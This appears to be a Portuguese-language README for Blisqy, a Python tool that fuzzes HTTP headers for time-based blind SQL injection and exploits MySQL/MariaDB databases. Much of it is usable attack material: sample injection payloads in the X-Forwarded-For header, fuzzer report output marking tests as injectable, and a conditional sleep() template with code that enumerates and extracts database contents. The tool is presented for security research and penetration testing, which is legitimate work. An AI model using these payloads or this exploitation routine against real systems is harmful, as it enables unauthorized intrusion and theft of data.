
Versão 0.2 - Explorar injeção SQL cega baseada em tempo em cabeçalhos HTTP (MySQL/MariaDB).
Blisqy é uma ferramenta para ajudar pesquisadores de Segurança Web a encontrar injeção SQL cega baseada em tempo em cabeçalhos HTTP e também exploração da mesma vulnerabilidade.
A exploração permite extração lenta de dados de um banco de dados (atualmente suporta apenas MySQL/MariaDB) usando operação bit a bit em caracteres ASCII imprimíveis, através de uma injeção SQL cega.
Para interoperabilidade com outras ferramentas Python e para permitir que outros usuários utilizem os recursos fornecidos pelo Blisqy, os módulos aqui podem ser importados para outros scripts baseados em Python.
Ao testar injeções SQL cegas baseadas em tempo, qualquer latência ou congestionamento de rede pode afetar a eficácia do seu fuzzing ou exploração. Para compensar possíveis latências de rede e incertezas que possam causar atrasos, a comparação de tempo do Blisqy é dinâmica e calculada em tempo de execução para cada teste. Os testes utilizam greenlet (uma unidade de execução cooperativa leve) para fornecer uma API síncrona de alto nível sobre o loop libevevent. Isso fornece uma maneira rápida e eficiente de realizar os testes de payload em pouco tempo, além disso, um teste específico não deve afetar outro porque não são feitos completamente de forma sequencial.
Blisqy agora suporta fuzzing para injeção SQL cega baseada em tempo em cabeçalhos HTTP e as principais funcionalidades (fuzzing e exploração) separadas em arquivos independentes para portabilidade.
Para usar a funcionalidade de Fuzzing, importe o seguinte módulo em seu script Python e forneça um destino junto com os dados de fuzzing conforme mostrado abaixo:
from lib.blindfuzzer import blindSeeker
Os parâmetros de destino devem estar em formato Dicionário/JSON, por exemplo (Observe os tipos de dados das variáveis):
Server = '192.168.56.101'
Port = 80
Index = 1
Method = 'GET'
Headerfile = "fuzz-data/headers/default_headers.txt"
Injectionfile = "fuzz-data/payloads/mysql_time.txt"
target_params = {
'server': Server,
'port': Port,
'index': Index,
'headersFile': Headerfile,
'injectionFile': Injectionfile,
'method': Method
}
Invocar o fuzzer assim que os parâmetros de destino forem fornecidos é como mostrado abaixo:
vulns = blindSeeker(target_params)
vulns.fuzz()
Você pode conferir FindBlindSpot.py para este exemplo fornecido.
Se você for bem-sucedido, deverá obter um relatório dos testes 'injetáveis' realizados. Observe que, por mais que o Blisqy tente compensar latências e congestionamentos de rede durante os testes, é importante testar novamente os resultados positivos relatados antes de prosseguir.
Abaixo está um relatório de exemplo:
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index
===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.
[+] Injection : X-Forwarded-For : ' or sleep(1)#
[+] Header : X-Forwarded-For
[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________
[+] Injection : X-Forwarded-For : ' or sleep(1)='
[+] Header : X-Forwarded-For
[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________
Captura de tela do Fuzzer Blisqy em ação:

Após encontrar uma potencial injeção SQL cega baseada em tempo, você pode preparar um script para explorar a aplicação Web vulnerável.
Assim como o fuzzer, você pode importar o módulo para exploração em seu script Python e definir um template para a operação de exploração. Abaixo está um exemplo de como importar o módulo em um script Python:
from lib.blindexploit import SqlEngine
Em seguida, você precisará fornecer detalhes do seu destino juntamente com seus parâmetros de destino para exploração. Abaixo está uma implementação de exemplo de exploração da injeção SQL cega encontrada pelo fuzzer:
Os dados de destino devem estar em formato Dicionário/JSON especificando o servidor, porta, o cabeçalho vulnerável encontrado e seu valor (algumas aplicações precisarão ou verificarão um determinado valor). Também Observe os tipos de dados das variáveis.
target = {
'server': '192.168.56.101',
'port': 80,
'vulnHeader': 'X-Forwarded-For',
'headerValue': 'fuzzer'
}
Os parâmetros de destino devem seguir, permitindo que o usuário especifique algumas opções relacionadas às preferências de exploração.
targetParam = {
'sleepTime': 0.1,
'payload': 'pass',
'mysqlDig': 'yes',
'interactive': 'on',
'verbosity': 'high'
}
select @@hostname. A opção padrão é 'pass'.Após fornecer seu destino e seus parâmetros, a próxima coisa a fornecer é um template para a rotina de exploração. O Blisqy fornece uma maneira dos usuários especificarem onde injetar o payload SQL de exfiltração e o atraso sleeptime. Abaixo está um exemplo de implementação para uma das vulnerabilidades encontradas no relatório de exemplo fornecido na subseção anterior.
Injeção encontrada no cabeçalho X-Forwarded-For:
' or sleep(1)='
Template para esta injeção particular:
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"
Durante a execução, *sql* será substituído por um payload de injeção SQL e *time* será substituído por um atraso para sleep().
Depois de tudo isso, a última parte é instanciar a rotina de exploração e deixar o método MysqlDigger() fazer o trabalho.
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)
# Enumerate the MySql Database
BlindSql.MysqlDigger()
Você pode conferir ExploitBlindSpot.py para este exemplo fornecido.
Abaixo está um exemplo de uma operação de exploração:

Você pode me alertar sobre qualquer coisa interessante que tenha encontrado com o Blisqy ou o que acha que deve ser adicionado/removido.
(PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. Disponível em: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation
PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course